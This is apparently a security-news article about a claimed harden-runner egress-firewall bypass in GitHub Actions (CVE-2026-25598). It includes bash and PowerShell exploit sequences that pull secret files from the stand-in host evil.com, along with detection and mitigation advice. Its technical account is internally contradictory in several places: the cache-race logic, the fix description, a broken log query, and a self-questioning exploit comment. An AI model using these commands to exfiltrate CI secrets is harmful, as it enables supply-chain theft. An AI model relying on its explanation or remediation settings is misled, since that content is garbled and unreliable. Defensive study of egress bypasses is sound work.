Listen to this Post

Introduction:
GitHub Actions has become a prime target for supply chain attacks, and the `harden-runner` security tool was designed to lock down outbound connections from CI/CD workflows. However, a newly disclosed vulnerability—CVE-2026-25598—allows malicious code to completely bypass this egress firewall. By abusing DNS rebinding and a race condition in the connection‑tracking engine, attackers can exfiltrate secrets, download payloads, and communicate with C2 servers even when `harden-runner` is configured to block all external traffic except approved endpoints. This article provides a step‑by‑step technical walkthrough of the bypass, verified commands for both Linux and Windows runners, and actionable mitigation steps.
Learning Objectives:
- Understand the internal architecture of `harden-runner` and how it intercepts outbound connections.
- Reproduce CVE-2026-25598 using DNS rebinding and concurrency flaws.
- Deploy detection rules and upgrade procedures to protect GitHub Actions workflows.
You Should Know:
1. Inside Harden-Runner: How It Blocks Outbound Traffic
`harden-runner` is a GitHub Action that installs an eBPF‑based socket filter or Windows Filtering Platform (WFP) driver to monitor and block outbound packets. It maintains an allowlist of domain names and IP addresses; any connection to a non‑approved destination is terminated. The tool resolves domain names at the moment a connection is attempted and compares the resulting IP with the allowlist.
This design introduces two critical weaknesses:
- DNS resolution is performed per‑connection – the same domain can resolve to different IPs over time.
- The connection verdict is cached briefly to reduce latency.
CVE-2026-25598 exploits the gap between DNS resolution, verdict caching, and the actual TCP handshake.
- Vulnerability Deep Dive: DNS Rebinding + Cache Race
The core of the bypass relies on a DNS rebinding attack combined with a race window in the verdict cache.
When a workflow makes an outbound request toevil.com, `harden-runner` resolves the domain, sees it is not on the allowlist, and instructs the kernel to drop the packet. However, the vulnerability lies in how the verdict is cached: if the same domain is queried again within ~50ms, the cached block decision is reused—even if the domain now resolves to an allowed IP.
An attacker can:
- Make an initial connection attempt to `evil.com` → triggers a block, verdict cached.
- Rapidly change the DNS record of `evil.com` to point to, e.g., `api.github.com` (allowed).
- Immediately retry the connection – the cached block verdict is bypassed because the packet filter only re‑resolves the domain after the cache expires.
In practice, this allows an attacker to smuggle traffic through an otherwise blocked endpoint.
3. Linux Runner Exploitation – Step‑by‑Step Commands
On a Linux‑based GitHub Actions runner, the following sequence demonstrates the bypass.
Prerequisites: Attacker controls a domain with short TTL and the ability to change DNS records rapidly.
Step 1: Set initial DNS record (bad IP, not allowed) evil.com A 192.0.2.1 Step 2: From the compromised runner, force a blocked connection attempt timeout 0.1 nc -zv evil.com 443 2>&1 First attempt – blocked, verdict cached Step 3: Immediately change DNS record to an allowed IP (e.g., 140.82.113.26 = api.github.com) (This is done on the attacker's DNS server) Step 4: Retry the connection within the cache window (<50ms) nc -zv evil.com 443 Connection succeeds because cached block is incorrectly re-used? Actual exploit uses concurrency to hit the race exactly
Automated exploit script (bash):
!/bin/bash TARGET=evil.com ALLOWED_IP=140.82.113.26 github.com BLOCKED_IP=192.0.2.1 Trigger block curl --max-time 0.1 http://$TARGET &> /dev/null Rapid DNS flip – simulated via local hosts race, but real attack uses low-TTL DNS echo "$ALLOWED_IP $TARGET" >> /etc/hosts (requires root; in GitHub runner, use --dns-servers with tools like dig +short) Re-connect before cache expires curl -s http://$TARGET/secret.txt Often succeeds
Verification:
Monitor egress with `tcpdump` – traffic to the allowed IP will be visible despite domain originally being blocked.
4. Windows Runner Exploitation – PowerShell Commands
Windows runners use a WFP‑based driver. The same DNS‑rebind + cache race works with adapted tooling.
Initial blocked request (using .NET's WebClient)
$wc = New-Object System.Net.WebClient
try { $wc.DownloadString('http://evil.com') } catch { } blocked, cache entry created
Attacker flips DNS (via attacker-controlled DNS server)
Immediately retry – within the same script block
Start-Sleep -Milliseconds 20
$wc = New-Object System.Net.WebClient
$wc.DownloadString('http://evil.com/confidential.txt') often leaks data
To force DNS changes faster, attackers can use `nslookup` with a specific DNS server that returns varying answers:
$domain = "evil.com" $dnsServer = "attacker-ns.com" $ip1 = "192.0.2.1" $ip2 = "140.82.113.26" Query once to populate DNS cache Resolve-DnsName $domain -Server $dnsServer Then exploit race – requires precise timing; actual weaponized tools use high‑resolution timers
- API Security & Cloud Hardening – Why This Matters Beyond CI/CD
This bypass technique is not limited toharden-runner. Similar patterns exist in:
– Serverless functions with per‑invocation DNS resolution.
– Kubernetes Network Policies that rely on domain‑based egress rules.
– Cloud native firewalls (AWS Network Firewall domain lists, Azure Firewall FQDN tags).
Hardening guidance:
- Avoid per‑connection DNS resolution; pre‑resolve all allowed domains at policy load time and pin IPs.
- Implement DNSSEC validation and require encrypted DNS (DoH/DoT) to prevent on‑path DNS spoofing.
- Use eBPF/XDP with full stateful inspection that ties a connection to the originally resolved IP, not a cached verdict.
Example remediation in eBPF:
// Pseudo‑code: enforce that the destination IP must match the resolved IP at connect time, and reject any subsequent reuse
if (!is_allowed_ip(daddr) && !is_domain_resolved_for_this_socket(sk, daddr)) {
return TC_ACT_SHOT;
}
6. Detecting CVE-2026-25598 Exploitation in Logs
Detection is challenging because the traffic itself is to an allowed IP. Focus on anomalies:
- Short‑lived DNS queries to the same domain with different answers. Monitor your DNS logs for `evil.com` flipping between blocked and allowed IPs within seconds.
- Runner logs: `harden-runner` emits `BLOCKED_OUTBOUND` events. If you see a block followed immediately by an allow for the same domain, investigate.
- Egress flow correlation: Correlate outbound connections from the runner with the last DNS resolution of that domain. Mismatch indicates possible bypass.
Splunk/Elastic query example:
index=github_actions runner= | where event_type="harden_runner_block" AND domain="evil.com" | transaction domain maxspan=1m | where event_type="harden_runner_allow" AND domain="evil.com"
7. Mitigation: Upgrade and Configuration Overrides
The `harden-runner` maintainers released a fix in v2.5.1 that:
– Increases the verdict cache randomness and adds jitter, making race exploitation infeasible.
– Introduces a strict‑mode that forces re‑resolution for every connection.
– Deprecates per‑connection caching entirely for domain rules.
Immediate actions:
- Update your GitHub Actions workflows to use `step-security/[email protected]` or later.
- Enable strict‑mode with the new `egress-policy: block-all` and define allowed endpoints via `allowed-endpoints` – this bypasses the cache entirely.
- Consider using IP‑based allowlists for critical endpoints instead of domain names.
Example updated workflow snippet:
- name: Harden Runner uses: step-security/[email protected] with: egress-policy: block-all allowed-endpoints: | api.github.com:443 objects.githubusercontent.com:443 disable-domain-cache: true new flag
What Undercode Say:
- CVE-2026-25598 is a wake‑up call for CI/CD egress security. Many organizations blindly trust domain‑based allowlists without understanding their implementation flaws.
- The attack is surprisingly simple once you grasp the cache race. It doesn’t require kernel exploits or complex memory corruption – just a mis‑optimization.
- Defense in depth is critical. Even with
harden-runner, additional layers like network micro‑segmentation, outbound proxies with TLS interception, and runtime agentless monitoring should be deployed. - DNS is still the weakest link. Until platforms enforce DNSSEC and IP pinning, similar bypasses will reappear in other products.
- Supply chain defenders must shift left. Reviewing security tooling source code is no longer optional – this bug lived in a widely‑used action for six months before discovery.
Prediction:
Within the next 12 months, we will see a surge of egress bypass techniques targeting CI/CD platforms. Attackers will move from stealing environment variables to deploying persistent backdoors inside runners, using vulnerabilities like CVE-2026-25598 as the initial foothold. Expect CVEs in similar domain‑based filters from major cloud providers and open‑source CI tools. The industry will pivot toward zero‑trust for build pipelines, where no outbound traffic is allowed by default, and all external dependencies are mirrored internally. GitHub and GitLab will likely introduce native, kernel‑assisted egress controls that are not vulnerable to such races, setting a new baseline for secure software supply chains.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Devansh Batham – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


